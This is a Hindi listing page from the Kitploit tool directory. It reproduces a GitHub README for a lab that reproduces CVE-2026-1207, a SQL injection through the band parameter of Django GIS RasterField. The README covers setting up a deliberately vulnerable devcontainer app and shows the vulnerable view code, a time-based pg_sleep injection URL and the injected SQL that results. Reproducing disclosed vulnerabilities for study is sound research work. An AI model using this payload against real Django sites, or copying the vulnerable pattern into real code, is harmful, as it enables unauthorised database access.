Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-1207 — Django फ्रेमवर्क में PostGIS का उपयोग करके भौगोलिक रास्टर (raster) डेटा क्वेरी करते समय, यदि अप्रमाणित उपयोगकर्ता इनपुट को सीधे band index (बैंड इंडेक्स) पैरामीटर के रूप में उपयोग किया जाता है, तो SQL इंजेक्शन उत्पन्न हो सकता है। | Kitploit
उपकरण/GitHubGitHub/sw0rd1ight/cve-2026-1207
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubsw0rd1ight/cve-2026-1207

CVE-2026-1207

Django फ्रेमवर्क में PostGIS का उपयोग करके भौगोलिक रास्टर (raster) डेटा क्वेरी करते समय, यदि अप्रमाणित उपयोगकर्ता इनपुट को सीधे band index (बैंड इंडेक्स) पैरामीटर के रूप में उपयोग किया जाता है, तो SQL इंजेक्शन उत्पन्न हो सकता है।

रिपॉजिटरी देखें
34 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-1207 Django GIS RasterField SQL इंजेक्शन भेद्यता पुनरुत्पादन

भेद्यता अवलोकन

भेद्यता प्रकार: SQL इंजेक्शन (SQL Injection) प्रभावित घटक: django.contrib.gis RasterField

जब Django GIS के RasterField का उपयोग क्वेरी के लिए किया जाता है, तो band पैरामीटर को सीधे SQL स्टेटमेंट में जोड़ दिया जाता है, जिससे SQL इंजेक्शन भेद्यता उत्पन्न होती है। हमलावर दुर्भावनापूर्ण band पैरामीटर मान बनाकर मनमाना SQL कोड इंजेक्ट कर सकता है।

प्रोजेक्ट संरचना

root@kitploit:~
CVE-2026-1207/
├── .devcontainer/     # VSCode DevContainer कॉन्फ़िगरेशन
├── .vscode/           # VSCode कॉन्फ़िगरेशन
├── vuln/             # भेद्यता प्रदर्शन ऐप
│   ├── models.py     # RasterField युक्त मॉडल
│   ├── views.py      # भेद्यता ट्रिगर बिंदु
│   └── migrations/   # डेटाबेस माइग्रेशन फ़ाइलें
├── web/              # Django प्रोजेक्ट कॉन्फ़िगरेशन
├── manage.py
├── README.md

पर्यावरण प्रारंभ

यह भेद्यता प्रोजेक्ट VSCode के devcontainer का उपयोग करके बनाया गया है।

1️⃣ प्रोजेक्ट खोलें

VS Code के साथ मौजूदा प्रोजेक्ट रूट निर्देशिका खोलें (जिसमें .devcontainer फ़ोल्डर शामिल है)।

2️⃣ कंटेनर फिर से खोलें (Dev Container बनाएं)

Ctrl+Shift+P (Windows/Linux) या Cmd+Shift+P (Mac) दबाएं

Remote-Containers: Reopen in Container दर्ज करें

VS Code .devcontainer कॉन्फ़िगरेशन पढ़ेगा और कंटेनर बनाएगा (पहली बार बनाने में कुछ मिनट लग सकते हैं)

⚠️ यदि Dockerfile या निर्भरताएँ अपडेट हुई हैं, तो Remote-Containers: Rebuild Container चुनें, ताकि नवीनतम पर्यावरण सुनिश्चित हो।

3️⃣ Django विकास सर्वर चलाएं

कमांड पैलेट खोलें Ctrl+Shift+P

Tasks: Run Task दर्ज करें

django:start चुनें (कार्य .vscode/tasks.json में कॉन्फ़िगर किया गया है)

यह कार्य कंटेनर के अंदर Django विकास सर्वर शुरू करेगा

डिफ़ॉल्ट रूप से 0.0.0.0:8087 पर सुनता है

4️⃣ ब्राउज़र खोलकर प्रोजेक्ट तक पहुँचें

ब्राउज़र खोलकर एक्सेस करें:

root@kitploit:~
http://localhost:8087

5️⃣ ध्यान दें

पहली बार चलाने पर डेटाबेस माइग्रेशन करने की आवश्यकता हो सकती है:

root@kitploit:~
python manage.py migrate

भेद्यता पुनरुत्पादन

भेद्यता विश्लेषण विवरण प्रकाशित है 先知https://xz.aliyun.com/news/91993

वीचैट सार्वजनिक खाताhttps://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A

POC: विलंब इंजेक्शन

SQL इंजेक्शन ट्रिगर करने के लिए निम्न URL तक पहुँचें:

root@kitploit:~
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

प्रतिक्रिया समय का निरीक्षण करें, सामान्य अनुरोध तुरंत लौटना चाहिए, इंजेक्शन अनुरोध लगभग 3 सेकंड की देरी करेगा।

भेद्यता कोड स्थान

vuln/views.py:36

root@kitploit:~
def get(self, request: HttpRequest):
    band = request.GET.get("band", 1)  # ← फ़िल्टर न किया गया उपयोगकर्ता इनपुट
    rast = GDALRaster(...)
    qs = RasterModel.objects.filter(rast__contains=(rast, band))  # ← band सीधे क्वेरी में पास किया गया
    print(qs.query)  # ← उत्पन्न SQL देखें
    qs.count()
    return HttpResponse("book app")

उत्पन्न SQL (इंजेक्शन के बाद)

root@kitploit:~
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))

अस्वीकरण

यह प्रोजेक्ट केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कृपया अनधिकृत सिस्टम पर इसका उपयोग न करें।

टूल डाउनलोड करें